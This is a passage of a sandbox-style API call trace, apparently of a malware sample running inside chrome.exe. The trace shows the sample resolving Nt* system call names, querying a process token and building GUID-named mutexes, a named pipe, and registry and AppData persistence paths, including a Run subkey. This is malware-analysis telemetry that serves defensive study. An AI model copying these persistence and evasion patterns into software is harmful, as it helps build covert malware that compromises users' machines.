(lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0070.553] lstrlenA (lpString="NtAddAtom") returned 9 [0070.553] lstrlenA (lpString="NtAddBootEntry") returned 14 [0070.553] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0070.553] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0070.554] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0070.554] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0070.554] lstrlenA (lpString="NtAlertThread") returned 13 [0070.554] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0070.554] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0070.554] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0070.554] lstrlenA (lpString="NtAllocateUuids") returned 15 [0070.554] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0070.554] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0070.554] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0070.554] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0070.554] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0070.554] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0070.554] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0070.554] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0070.554] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0070.554] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0070.554] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0070.554] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0070.554] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0070.554] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0070.554] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0070.554] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0070.554] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0070.554] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0070.554] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0070.554] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0070.554] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0070.554] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0070.554] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0070.554] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0070.554] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0070.554] lstrlenA (lpString="NtCallbackReturn") returned 16 [0070.554] lstrlenA (lpString="NtCancelIoFile") returned 14 [0070.554] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0070.554] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0070.554] lstrlenA (lpString="NtCancelTimer") returned 13 [0070.554] lstrlenA (lpString="NtClearEvent") returned 12 [0070.554] lstrlenA (lpString="NtClose") returned 7 [0070.554] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0070.555] lstrlenA (lpString="NtCommitComplete") returned 16 [0070.555] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0070.555] lstrlenA (lpString="NtCommitTransaction") returned 19 [0070.555] lstrlenA (lpString="NtCompactKeys") returned 13 [0070.555] lstrlenA (lpString="NtCompareTokens") returned 15 [0070.555] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0070.555] lstrlenA (lpString="NtCompressKey") returned 13 [0070.555] lstrlenA (lpString="NtConnectPort") returned 13 [0070.555] lstrlenA (lpString="NtContinue") returned 10 [0070.555] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0070.555] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0070.555] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0070.555] lstrlenA (lpString="NtCreateEvent") returned 13 [0070.555] lstrlenA (lpString="NtCreateEventPair") returned 17 [0070.555] lstrlenA (lpString="NtCreateFile") returned 12 [0070.555] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0070.555] lstrlenA (lpString="NtCreateJobObject") returned 17 [0070.555] lstrlenA (lpString="NtCreateJobSet") returned 14 [0070.555] lstrlenA (lpString="NtCreateKey") returned 11 [0070.555] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0070.555] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0070.555] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0070.555] lstrlenA (lpString="NtCreateMutant") returned 14 [0070.555] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0070.555] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0070.555] lstrlenA (lpString="NtCreatePort") returned 12 [0070.555] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0070.555] lstrlenA (lpString="NtCreateProcess") returned 15 [0070.555] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0070.555] lstrlenA (lpString="NtCreateProfile") returned 15 [0070.555] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0070.555] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0070.555] lstrlenA (lpString="NtCreateSection") returned 15 [0070.562] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x7fefd710000 [0070.562] GetProcAddress (hModule=0x7fefd710000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned 0x7fefd71d710 [0070.562] ConvertStringSecurityDescriptorToSecurityDescriptorA () returned 0x1 [0070.572] NtOpenProcess (in: ProcessHandle=0x2fef98, DesiredAccess=0x400, ObjectAttributes=0x2fef30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fef20*(UniqueProcess=0xb70, UniqueThread=0x0) | out: ProcessHandle=0x2fef98*=0xcc) returned 0x0 [0070.572] NtOpenProcessToken (in: ProcessHandle=0xcc, DesiredAccess=0x8, TokenHandle=0x2fef90 | out: TokenHandle=0x2fef90*=0xd4) returned 0x0 [0070.572] NtQueryInformationToken (in: TokenHandle=0xd4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2fef80 | out: TokenInformation=0x0, ReturnLength=0x2fef80) returned 0xc0000023 [0070.572] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2c) returned 0x22dd500 [0070.572] NtQueryInformationToken (in: TokenHandle=0xd4, TokenInformationClass=0x1, TokenInformation=0x22dd500, TokenInformationLength=0x2c, ReturnLength=0x2fef80 | out: TokenInformation=0x22dd500, ReturnLength=0x2fef80) returned 0x0 [0070.572] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.572] NtClose (Handle=0xd4) returned 0x0 [0070.572] NtClose (Handle=0xcc) returned 0x0 [0070.572] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x7fefd5c0000 [0070.572] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrRChrA") returned 0x7fefd5c4c9c [0070.572] StrRChrA (lpStart="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpEnd=0x0, wMatch=0x5c) returned="\\chrome.exe" [0070.572] _strupr (in: _String=0x22dd321 | out: _String="CHROME.EXE") returned="CHROME.EXE" [0070.572] lstrlenA (lpString="CHROME.EXE") returned 10 [0070.573] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.573] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76f40000 [0070.573] GetProcAddress (hModule=0x76f40000, lpProcName="wsprintfA") returned 0x76fbbae8 [0070.573] wsprintfA (in: param_1=0x22dd500, param_2="%08X-%04X-%04X-%04X-%08X%04X" | out: param_1="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 36 [0070.573] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\") returned 39 [0070.573] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x4e) returned 0x22dd530 [0070.573] lstrcpyA (in: lpString1=0x22dd530, lpString2="Software\\AppDataLow\\Software\\Microsoft\\" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\") returned="Software\\AppDataLow\\Software\\Microsoft\\" [0070.573] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\", lpString2="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0070.573] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.573] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0070.573] lstrlenA (lpString="\\Vr") returned 3 [0070.573] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x4f) returned 0x22dd590 [0070.573] lstrcpyA (in: lpString1=0x22dd590, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0070.573] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Vr" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr" [0070.573] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0070.573] lstrlenA (lpString="\\Sfi") returned 4 [0070.573] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x50) returned 0x22dd5f0 [0070.573] lstrcpyA (in: lpString1=0x22dd5f0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0070.573] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Sfi" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi" [0070.573] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0070.573] lstrlenA (lpString="\\Run") returned 4 [0070.573] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x50) returned 0x22dd650 [0070.573] lstrcpyA (in: lpString1=0x22dd650, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0070.573] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Run" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run" [0070.573] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0070.573] lstrlenA (lpString="\\Config") returned 7 [0070.573] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x53) returned 0x22dd6b0 [0070.574] lstrcpyA (in: lpString1=0x22dd6b0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0070.574] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Config" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config" [0070.574] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.574] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{7F853548-D254-09EE-D423-264D4807BAD1}") returned 38 [0070.575] lstrlenA (lpString="Local\\") returned 6 [0070.575] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22dd710 [0070.575] lstrcpyA (in: lpString1=0x22dd710, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.575] lstrcatA (in: lpString1="Local\\", lpString2="{7F853548-D254-09EE-D423-264D4807BAD1}" | out: lpString1="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}" [0070.575] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.575] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.575] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 38 [0070.575] lstrlenA (lpString="Local\\") returned 6 [0070.575] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22dd750 [0070.575] lstrcpyA (in: lpString1=0x22dd750, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.575] lstrcatA (in: lpString1="Local\\", lpString2="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" | out: lpString1="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" [0070.575] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.575] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.575] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 38 [0070.575] lstrlenA (lpString="Local\\") returned 6 [0070.575] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22dd790 [0070.575] lstrcpyA (in: lpString1=0x22dd790, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.575] lstrcatA (in: lpString1="Local\\", lpString2="{DD80286F-988C-17A7-8A61-4C3B5E25409F}" | out: lpString1="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}" [0070.575] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.575] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.575] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 38 [0070.575] lstrlenA (lpString="Local\\") returned 6 [0070.575] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22dd7d0 [0070.575] lstrcpyA (in: lpString1=0x22dd7d0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.575] lstrcatA (in: lpString1="Local\\", lpString2="{722AD44B-2987-7426-43C6-6DE8275AF19C}" | out: lpString1="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}" [0070.575] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.575] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.575] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 38 [0070.575] lstrlenA (lpString="Local\\") returned 6 [0070.575] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22dd810 [0070.575] lstrcpyA (in: lpString1=0x22dd810, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.575] lstrcatA (in: lpString1="Local\\", lpString2="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" | out: lpString1="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" [0070.575] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.575] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.575] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 38 [0070.575] lstrlenA (lpString="Local\\") returned 6 [0070.575] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22dd850 [0070.575] lstrcpyA (in: lpString1=0x22dd850, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.576] lstrcatA (in: lpString1="Local\\", lpString2="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" | out: lpString1="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" [0070.576] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.576] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.576] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned 38 [0070.576] lstrlenA (lpString="Local\\") returned 6 [0070.576] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22dd890 [0070.576] lstrcpyA (in: lpString1=0x22dd890, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.576] lstrcatA (in: lpString1="Local\\", lpString2="{49B0014D-14FD-63C5-668D-8847FA113C6B}" | out: lpString1="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}" [0070.576] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.576] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.576] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned 38 [0070.576] lstrlenA (lpString="Local\\") returned 6 [0070.576] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22dd8d0 [0070.576] lstrcpyA (in: lpString1=0x22dd8d0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.576] lstrcatA (in: lpString1="Local\\", lpString2="{CE377949-D5DC-3008-CFE2-D96473361DD8}" | out: lpString1="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}" [0070.576] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.576] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.576] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned 38 [0070.576] lstrlenA (lpString="\\\\.\\pipe\\") returned 9 [0070.576] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x30) returned 0x22dd910 [0070.576] lstrcpyA (in: lpString1=0x22dd910, lpString2="\\\\.\\pipe\\" | out: lpString1="\\\\.\\pipe\\") returned="\\\\.\\pipe\\" [0070.576] lstrcatA (in: lpString1="\\\\.\\pipe\\", lpString2="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" | out: lpString1="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" [0070.576] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.576] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.576] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 38 [0070.576] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0070.576] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x3b) returned 0x22dd950 [0070.576] lstrcpyA (in: lpString1=0x22dd950, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0070.576] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0070.576] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.576] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.576] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 38 [0070.576] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0070.576] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x3b) returned 0x22dd9a0 [0070.576] lstrcpyA (in: lpString1=0x22dd9a0, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0070.576] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: lpString1="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" [0070.576] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.576] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.576] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 38 [0070.576] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0070.577] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x3b) returned 0x22dd9f0 [0070.577] lstrcpyA (in: lpString1=0x22dd9f0, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0070.577] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" | out: lpString1="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" [0070.577] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.577] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.577] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 38 [0070.577] lstrlenA (lpString="Local\\") returned 6 [0070.577] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22dda40 [0070.577] lstrcpyA (in: lpString1=0x22dda40, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.577] lstrcatA (in: lpString1="Local\\", lpString2="{A3415127-A63A-CD11-C887-3A517CAB0E15}" | out: lpString1="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}" [0070.577] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.577] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.577] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{70017650-0FA6-225C-19A4-B3765D18970A}") returned 38 [0070.577] lstrlenA (lpString="Local\\") returned 6 [0070.577] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22dda80 [0070.577] lstrcpyA (in: lpString1=0x22dda80, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.577] lstrcatA (in: lpString1="Local\\", lpString2="{70017650-0FA6-225C-19A4-B3765D18970A}" | out: lpString1="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}" [0070.577] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.577] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.577] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 38 [0070.577] lstrlenA (lpString="Local\\") returned 6 [0070.577] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22ddac0 [0070.577] lstrcpyA (in: lpString1=0x22ddac0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.577] lstrcatA (in: lpString1="Local\\", lpString2="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" | out: lpString1="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" [0070.577] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.577] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.577] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 38 [0070.577] lstrlenA (lpString="Local\\") returned 6 [0070.577] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x2d) returned 0x22ddb00 [0070.577] lstrcpyA (in: 